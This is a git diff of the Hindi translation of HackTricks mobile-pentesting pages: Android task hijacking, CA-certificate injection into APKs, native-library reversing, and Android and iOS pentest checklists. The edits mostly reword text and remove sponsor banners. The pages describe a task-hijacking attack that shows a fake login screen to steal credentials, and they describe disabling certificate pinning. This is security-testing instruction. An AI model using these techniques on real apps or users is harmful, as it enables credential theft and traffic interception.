**अग्रभूमि गतिविधि** के रूप में प्रदर्शित करता है। किसी भी समय, केवल यह गतिविधि स्क्रीन पर दिखाई देती है, जिससे यह **अग्रभूमि कार्य** का हिस्सा बन जाती है। गतिविधि संक्रमण का त्वरित विश्लेषण यहाँ है: * **गतिविधि 1** अग्रभूमि में एकमात्र गतिविधि के रूप में शुरू होती है। -* **गतिविधि 2** लॉन्च करने से **गतिविधि 1** को बैक स्टैक में धकेल दिया जाता है, **गतिविधि 2** को अग्रभूमि में लाते हुए। -* **गतिविधि 3** शुरू करने से **गतिविधि 1** और **गतिविधि 2** को स्टैक में और पीछे ले जाया जाता है, **गतिविधि 3** अब सामने होती है। -* **गतिविधि 3** बंद करने से **गतिविधि 2** को फिर से अग्रभूमि में लाया जाता है, जो Android के सुव्यवस्थित कार्य नेविगेशन तंत्र को प्रदर्शित करता है। +* **गतिविधि 2** को लॉन्च करने से **गतिविधि 1** बैक स्टैक में धकेल दी जाती है, जिससे **गतिविधि 2** अग्रभूमि में आ जाती है। +* **गतिविधि 3** शुरू करने से **गतिविधि 1** और **गतिविधि 2** स्टैक में और पीछे चली जाती हैं, **गतिविधि 3** अब सामने होती है। +* **गतिविधि 3** को बंद करने से **गतिविधि 2** फिर से अग्रभूमि में आ जाती है, जो Android के सुव्यवस्थित कार्य नेविगेशन तंत्र को प्रदर्शित करती है। ![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>) ## कार्य संबंधी हमले -### कार्य संबंधी और लॉन्च मोड का अवलोकन +### कार्य संबंध और लॉन्च मोड का अवलोकन -Android अनुप्रयोगों में, **कार्य संबंधी** एक गतिविधि के पसंदीदा कार्य को निर्दिष्ट करता है, जो आमतौर पर ऐप के पैकेज नाम के साथ मेल खाता है। यह सेटअप हमले को प्रदर्शित करने के लिए एक प्रमाण-ऑफ-कॉन्सेप्ट (PoC) ऐप बनाने में महत्वपूर्ण है। +Android अनुप्रयोगों में, **कार्य संबंध** एक गतिविधि के पसंदीदा कार्य को निर्दिष्ट करता है, जो आमतौर पर ऐप के पैकेज नाम के साथ मेल खाता है। यह सेटअप हमले को प्रदर्शित करने के लिए एक प्रमाण-की-धारणा (PoC) ऐप बनाने में महत्वपूर्ण है। ### लॉन्च मोड -`launchMode` विशेषता कार्यों के भीतर गतिविधि उदाहरणों के प्रबंधन को निर्देशित करती है। **singleTask** मोड इस हमले के लिए महत्वपूर्ण है, जो मौजूदा गतिविधि उदाहरणों और कार्य संबंधी मेल के आधार पर तीन परिदृश्यों को निर्धारित करता है। यह शोषण हमलावर के ऐप की क्षमता पर निर्भर करता है कि वह लक्षित ऐप के कार्य संबंधी को अनुकरण कर सके, जिससे Android सिस्टम को हमलावर के ऐप को लक्षित ऐप के बजाय लॉन्च करने के लिए गुमराह किया जा सके। +`launchMode` विशेषता कार्यों के भीतर गतिविधि उदाहरणों के प्रबंधन को निर्देशित करती है। **singleTask** मोड इस हमले के लिए महत्वपूर्ण है, जो मौजूदा गतिविधि उदाहरणों और कार्य संबंध मेल के आधार पर तीन परिदृश्यों को निर्धारित करता है। यह शोषण हमलावर के ऐप की क्षमता पर निर्भर करता है कि वह लक्षित ऐप के कार्य संबंध की नकल कर सके, जिससे Android सिस्टम को हमलावर के ऐप को लक्षित ऐप के बजाय लॉन्च करने के लिए गुमराह किया जा सके। ### विस्तृत हमले के चरण 1. **दुष्ट ऐप इंस्टॉलेशन**: पीड़ित अपने डिवाइस पर हमलावर का ऐप इंस्टॉल करता है। 2. **प्रारंभिक सक्रियण**: पीड़ित पहले दुष्ट ऐप को खोलता है, जिससे हमले के लिए डिवाइस सेटअप होता है। -3. **लक्षित ऐप लॉन्च प्रयास**: पीड़ित लक्षित ऐप खोलने का प्रयास करता है। -4. **हाइजैक निष्पादन**: मेल खाते कार्य संबंधी के कारण, दुष्ट ऐप लक्षित ऐप के स्थान पर लॉन्च होता है। +3. **लक्षित ऐप लॉन्च प्रयास**: पीड़ित लक्षित ऐप को खोलने का प्रयास करता है। +4. **हाइजैक निष्पादन**: मेल खाते कार्य संबंध के कारण, दुष्ट ऐप लक्षित ऐप के स्थान पर लॉन्च होता है। 5. **धोखा**: दुष्ट ऐप लक्षित ऐप के समान एक नकली लॉगिन स्क्रीन प्रस्तुत करता है, जिससे उपयोगकर्ता संवेदनशील जानकारी दर्ज करने के लिए धोखा खा जाता है। इस हमले के व्यावहारिक कार्यान्वयन के लिए, GitHub पर Task Hijacking Strandhogg रिपॉजिटरी देखें: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). @@ -65,11 +57,6 @@ Android अनुप्रयोगों में, **कार्य संब * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index a2271306e..28b9b22eb 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -13,21 +13,13 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - कुछ एप्लिकेशन उपयोगकर्ता द्वारा डाउनलोड किए गए प्रमाणपत्रों को पसंद नहीं करते हैं, इसलिए कुछ ऐप्स के लिए वेब ट्रैफ़िक का निरीक्षण करने के लिए हमें वास्तव में एप्लिकेशन को डिकंपाइल करना होगा और कुछ चीजें जोड़नी होंगी और फिर से संकलित करना होगा। -# Automatic +# स्वचालित -उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वतः** एप्लिकेशन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम करेगा (यदि कोई हो)। +उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) आवश्यक परिवर्तनों को **स्वचालित** रूप से एप्लिकेशन में करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम कर देगा (यदि कोई हो)। -# Manual +# मैनुअल पहले हम ऐप को डिकंपाइल करते हैं: `apktool d *file-name*.apk` diff --git a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 0d746b1ea..6c03973ab 100644 --- a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -15,70 +15,46 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+**For further information check:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - -**अधिक जानकारी के लिए देखें:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) - -एंड्रॉइड ऐप्स प्रदर्शन-क्रिटिकल कार्यों के लिए आमतौर पर C या C++ में लिखी गई मूल पुस्तकालयों का उपयोग कर सकते हैं। मालवेयर निर्माता भी इन पुस्तकालयों का उपयोग करते हैं, क्योंकि इन्हें DEX बाइटकोड की तुलना में उलटना कठिन होता है। यह अनुभाग एंड्रॉइड के लिए अनुकूलित रिवर्स इंजीनियरिंग कौशल पर जोर देता है, न कि असेंबली भाषाएँ सिखाने पर। संगतता के लिए ARM और x86 संस्करणों के पुस्तकालय प्रदान किए जाते हैं। +एंड्रॉइड ऐप्स प्रदर्शन-क्रिटिकल कार्यों के लिए आमतौर पर C या C++ में लिखी गई नैटिव लाइब्रेरीज़ का उपयोग कर सकते हैं। मैलवेयर निर्माता भी इन लाइब्रेरीज़ का उपयोग करते हैं, क्योंकि इन्हें DEX बाइटकोड की तुलना में रिवर्स इंजीनियर करना कठिन होता है। यह अनुभाग एंड्रॉइड के लिए अनुकूलित रिवर्स इंजीनियरिंग कौशल पर जोर देता है, न कि असेंबली भाषाओं को सिखाने पर। संगतता के लिए ARM और x86 संस्करणों की लाइब्रेरीज़ प्रदान की जाती हैं। ### Key Points: -* **एंड्रॉइड ऐप्स में मूल पुस्तकालय:** +* **Native Libraries in Android Apps:** * प्रदर्शन-गहन कार्यों के लिए उपयोग किया जाता है। * C या C++ में लिखा गया, जिससे रिवर्स इंजीनियरिंग चुनौतीपूर्ण हो जाती है। * `.so` (शेयर की गई वस्तु) प्रारूप में पाया जाता है, जो लिनक्स बाइनरी के समान है। -* मालवेयर निर्माता विश्लेषण को कठिन बनाने के लिए मूल कोड को प्राथमिकता देते हैं। -* **जावा नेटिव इंटरफेस (JNI) और एंड्रॉइड NDK:** -* JNI जावा विधियों को मूल कोड में लागू करने की अनुमति देता है। -* NDK मूल कोड लिखने के लिए एंड्रॉइड-विशिष्ट उपकरणों का एक सेट है। -* JNI और NDK जावा (या कोटलिन) कोड को मूल पुस्तकालयों के साथ जोड़ते हैं। -* **पुस्तकालय लोडिंग और निष्पादन:** -* पुस्तकालयों को `System.loadLibrary` या `System.load` का उपयोग करके मेमोरी में लोड किया जाता है। -* पुस्तकालय लोडिंग पर JNI\_OnLoad निष्पादित होता है। -* जावा-घोषित मूल विधियाँ मूल कार्यों से लिंक होती हैं, जिससे निष्पादन सक्षम होता है। -* **जावा विधियों को मूल कार्यों से लिंक करना:** -* **डायनामिक लिंकिंग:** मूल पुस्तकालयों में कार्य नाम एक विशिष्ट पैटर्न से मेल खाते हैं, जिससे स्वचालित लिंकिंग की अनुमति मिलती है। -* **स्टेटिक लिंकिंग:** लिंकिंग के लिए `RegisterNatives` का उपयोग करता है, कार्य नामकरण और संरचना में लचीलापन प्रदान करता है। -* **रिवर्स इंजीनियरिंग उपकरण और तकनीकें:** -* Ghidra और IDA Pro जैसे उपकरण मूल पुस्तकालयों का विश्लेषण करने में मदद करते हैं। +* मैलवेयर निर्माता विश्लेषण को कठिन बनाने के लिए नैटिव कोड को प्राथमिकता देते हैं। +* **Java Native Interface (JNI) & Android NDK:** +* JNI जावा विधियों को नैटिव कोड में लागू करने की अनुमति देता है। +* NDK नैटिव कोड लिखने के लिए एंड्रॉइड-विशिष्ट उपकरणों का एक सेट है। +* JNI और NDK जावा (या कोटलिन) कोड को नैटिव लाइब्रेरीज़ के साथ जोड़ते हैं। +* **Library Loading & Execution:** +* लाइब्रेरीज़ को `System.loadLibrary` या `System.load` का उपयोग करके मेमोरी में लोड किया जाता है। +* लाइब्रेरी लोड होने पर JNI\_OnLoad निष्पादित होता है। +* जावा द्वारा घोषित नैटिव विधियाँ नैटिव कार्यों से लिंक होती हैं, जिससे निष्पादन सक्षम होता है। +* **Linking Java Methods to Native Functions:** +* **Dynamic Linking:** नैटिव लाइब्रेरीज़ में कार्यों के नाम एक विशिष्ट पैटर्न से मेल खाते हैं, जिससे स्वचालित लिंकिंग की अनुमति मिलती है। +* **Static Linking:** लिंकिंग के लिए `RegisterNatives` का उपयोग करता है, जो कार्यों के नामकरण और संरचना में लचीलापन प्रदान करता है। +* **Reverse Engineering Tools and Techniques:** +* Ghidra और IDA Pro जैसे उपकरण नैटिव लाइब्रेरीज़ का विश्लेषण करने में मदद करते हैं। * `JNIEnv` JNI कार्यों और इंटरैक्शन को समझने के लिए महत्वपूर्ण है। -* पुस्तकालयों को लोड करने, विधियों को लिंक करने और मूल कार्यों की पहचान करने का अभ्यास करने के लिए व्यायाम प्रदान किए जाते हैं। +* लाइब्रेरीज़ को लोड करने, विधियों को लिंक करने और नैटिव कार्यों की पहचान करने का अभ्यास करने के लिए व्यायाम प्रदान किए जाते हैं। ### Resources: -* **ARM असेंबली सीखना:** -* अंतर्निहित आर्किटेक्चर की गहरी समझ के लिए सुझाया गया। -* Azeria Labs से [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) की सिफारिश की जाती है। -* **JNI और NDK दस्तावेज़:** -* [Oracle का JNI विनिर्देशन](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -* [एंड्रॉइड के JNI टिप्स](https://developer.android.com/training/articles/perf-jni) -* [NDK के साथ शुरुआत करना](https://developer.android.com/ndk/guides/) -* **मूल पुस्तकालयों का डिबगिंग:** -* [JEB डिकंपाइलर का उपयोग करके एंड्रॉइड मूल पुस्तकालयों का डिबगिंग](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) +* **Learning ARM Assembly:** +* अंतर्निहित आर्किटेक्चर की गहरी समझ के लिए सुझावित। +* [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) Azeria Labs से अनुशंसित है। +* **JNI & NDK Documentation:** +* [Oracle's JNI Specification](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) +* [Android's JNI Tips](https://developer.android.com/training/articles/perf-jni) +* [Getting Started with the NDK](https://developer.android.com/ndk/guides/) +* **Debugging Native Libraries:** +* [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index 235f41248..36757898e 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -1,29 +1,21 @@ # Android APK Checklist {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) +### [Android के मूलभूत सिद्धांत सीखें](android-app-pentesting/#2-android-application-fundamentals) * [ ] [बुनियादी बातें](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) @@ -39,13 +31,13 @@ Learn & practice GCP Hacking:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
{% endhint %} diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index 8d6176f92..38158337e 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -3,7 +3,7 @@
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाहों** का निर्माण और **स्वचालित** कर सकें।\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\ आज ही एक्सेस प्राप्त करें: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -16,26 +16,18 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### तैयारी * [ ] [**iOS मूल बातें**](ios-pentesting/ios-basics.md) पढ़ें -* [ ] [**iOS परीक्षण वातावरण**](ios-pentesting/ios-testing-environment.md) पढ़कर अपने वातावरण को तैयार करें -* [ ] [**iOS प्रारंभिक विश्लेषण**](ios-pentesting/#initial-analysis) के सभी अनुभाग पढ़ें ताकि iOS एप्लिकेशन का परीक्षण करने के लिए सामान्य क्रियाओं को सीख सकें +* [ ] [**iOS परीक्षण वातावरण**](ios-pentesting/ios-testing-environment.md) पढ़कर अपना वातावरण तैयार करें +* [ ] [**iOS प्रारंभिक विश्लेषण**](ios-pentesting/#initial-analysis) के सभी अनुभाग पढ़ें ताकि iOS एप्लिकेशन का परीक्षण करने के लिए सामान्य क्रियाएँ सीख सकें ### डेटा संग्रहण @@ -47,7 +39,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < * [ ] [**Couchbase Lite डेटाबेस**](ios-pentesting/#couchbase-lite-databases) संवेदनशील जानकारी संग्रहीत कर सकता है। * [ ] [**बाइनरी कुकीज़**](ios-pentesting/#cookies) संवेदनशील जानकारी संग्रहीत कर सकती हैं * [ ] [**कैश डेटा**](ios-pentesting/#cache) संवेदनशील जानकारी संग्रहीत कर सकता है -* [ ] [**स्वचालित स्नैपशॉट**](ios-pentesting/#snapshots) दृश्य संवेदनशील जानकारी को सहेज सकते हैं +* [ ] [**स्वचालित स्नैपशॉट**](ios-pentesting/#snapshots) दृश्य संवेदनशील जानकारी को सहेज सकता है * [ ] [**कीचेन**](ios-pentesting/#keychain) आमतौर पर संवेदनशील जानकारी संग्रहीत करने के लिए उपयोग किया जाता है जो फोन को फिर से बेचते समय छोड़ी जा सकती है। * [ ] संक्षेप में, केवल **फाइल सिस्टम में एप्लिकेशन द्वारा सहेजी गई संवेदनशील जानकारी की जांच करें** @@ -63,16 +55,16 @@ GCP हैकिंग सीखें और अभ्यास करें: < ### बैकअप * [ ] [**बैकअप**](ios-pentesting/#backups) का उपयोग **फाइल सिस्टम में सहेजी गई संवेदनशील जानकारी** तक पहुँचने के लिए किया जा सकता है (इस चेकलिस्ट के प्रारंभिक बिंदु की जांच करें) -* [ ] इसके अलावा, [**बैकअप**](ios-pentesting/#backups) का उपयोग **एप्लिकेशन की कुछ कॉन्फ़िगरेशन को संशोधित करने** के लिए किया जा सकता है, फिर **बैकअप** को फोन पर **पुनर्स्थापित** करें, और जैसे ही **संशोधित कॉन्फ़िगरेशन** **लोड** होती है, कुछ (सुरक्षा) **कार्यात्मकता** को **बायपास** किया जा सकता है +* [ ] इसके अलावा, [**बैकअप**](ios-pentesting/#backups) का उपयोग **एप्लिकेशन की कुछ कॉन्फ़िगरेशन को संशोधित करने** के लिए किया जा सकता है, फिर **फोन पर बैकअप को पुनर्स्थापित करें**, और जैसे ही **संशोधित कॉन्फ़िगरेशन** **लोड** होती है, कुछ (सुरक्षा) **कार्यात्मकता** को **बायपास** किया जा सकता है ### **एप्लिकेशन मेमोरी** * [ ] [**एप्लिकेशन की मेमोरी**](ios-pentesting/#testing-memory-for-sensitive-data) के अंदर संवेदनशील जानकारी की जांच करें -### **टूटी हुई क्रिप्टोग्राफी** +### **टूटे हुए क्रिप्टोग्राफी** * [ ] जांचें कि क्या आप [**क्रिप्टोग्राफी के लिए उपयोग किए गए पासवर्ड**](ios-pentesting/#broken-cryptography) पा सकते हैं -* [ ] संवेदनशील डेटा भेजने/सहेजने के लिए [**पुरानी/कमजोर एल्गोरिदम**](ios-pentesting/#broken-cryptography) के उपयोग की जांच करें +* [ ] संवेदनशील डेटा भेजने/सहेजने के लिए [**पुराने/कमजोर एल्गोरिदम**](ios-pentesting/#broken-cryptography) के उपयोग की जांच करें * [ ] [**क्रिप्टोग्राफी फ़ंक्शंस को हुक और मॉनिटर करें**](ios-pentesting/#broken-cryptography) ### **स्थानीय प्रमाणीकरण** @@ -86,14 +78,14 @@ GCP हैकिंग सीखें और अभ्यास करें: < * [**कस्टम URI हैंडलर / डीपलिंक्स / कस्टम स्कीम**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] जांचें कि क्या एप्लिकेशन **किसी प्रोटोकॉल/स्कीम को पंजीकृत कर रहा है** * [ ] जांचें कि क्या एप्लिकेशन **किसी प्रोटोकॉल/स्कीम का उपयोग करने के लिए पंजीकृत है** -* [ ] जांचें कि क्या एप्लिकेशन **किसी प्रकार की संवेदनशील जानकारी प्राप्त करने की अपेक्षा कर रहा है** जो कस्टम स्कीम से **इंटरसेप्ट** की जा सकती है जो उसी स्कीम को पंजीकृत करने वाले दूसरे एप्लिकेशन द्वारा +* [ ] जांचें कि क्या एप्लिकेशन **किसी प्रकार की संवेदनशील जानकारी प्राप्त करने की अपेक्षा करता है** जो कस्टम स्कीम से **इंटरसेप्ट** की जा सकती है जो उसी स्कीम को पंजीकृत करने वाले दूसरे एप्लिकेशन द्वारा * [ ] जांचें कि क्या एप्लिकेशन **कस्टम स्कीम के माध्यम से उपयोगकर्ता इनपुट की जांच और स्वच्छता नहीं कर रहा है** और कुछ **कमजोरी का लाभ उठाया जा सकता है** -* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर कर रहा है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है -* [**यूनिवर्सल लिंक्स**](ios-pentesting/#universal-links) +* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर करता है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है +* [**यूनिवर्सल लिंक**](ios-pentesting/#universal-links) * [ ] जांचें कि क्या एप्लिकेशन **किसी यूनिवर्सल प्रोटोकॉल/स्कीम को पंजीकृत कर रहा है** * [ ] `apple-app-site-association` फ़ाइल की जांच करें * [ ] जांचें कि क्या एप्लिकेशन **कस्टम स्कीम के माध्यम से उपयोगकर्ता इनपुट की जांच और स्वच्छता नहीं कर रहा है** और कुछ **कमजोरी का लाभ उठाया जा सकता है** -* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर कर रहा है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है +* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर करता है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है * [**UIActivity साझा करना**](ios-pentesting/ios-uiactivity-sharing.md) * [ ] जांचें कि क्या एप्लिकेशन UIActivities प्राप्त कर सकता है और क्या इसे विशेष रूप से तैयार की गई गतिविधि के साथ किसी कमजोरी का लाभ उठाने के लिए संभव है * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) @@ -111,7 +103,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < ### नेटवर्क संचार * [ ] [**संचार के लिए MitM करें**](ios-pentesting/#network-communication) और वेब कमजोरियों की खोज करें। -* [ ] जांचें कि क्या [**प्रमाणपत्र का होस्टनाम**](ios-pentesting/#hostname-check) की जांच की जाती है +* [ ] जांचें कि क्या [**प्रमाणपत्र का होस्टनाम**](ios-pentesting/#hostname-check) की जांच की गई है * [ ] [**प्रमाणपत्र पिनिंग**](ios-pentesting/#certificate-pinning) की जांच/बायपास करें ### **विविध** @@ -119,12 +111,6 @@ GCP हैकिंग सीखें और अभ्यास करें: < * [ ] [**स्वचालित पैचिंग/अपडेटिंग**](ios-pentesting/#hot-patching-enforced-updateing) तंत्र की जांच करें * [ ] [**दुष्ट तृतीय पक्ष पुस्तकालयों**](ios-pentesting/#third-parties) की जांच करें -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -133,7 +119,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** @@ -143,7 +129,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
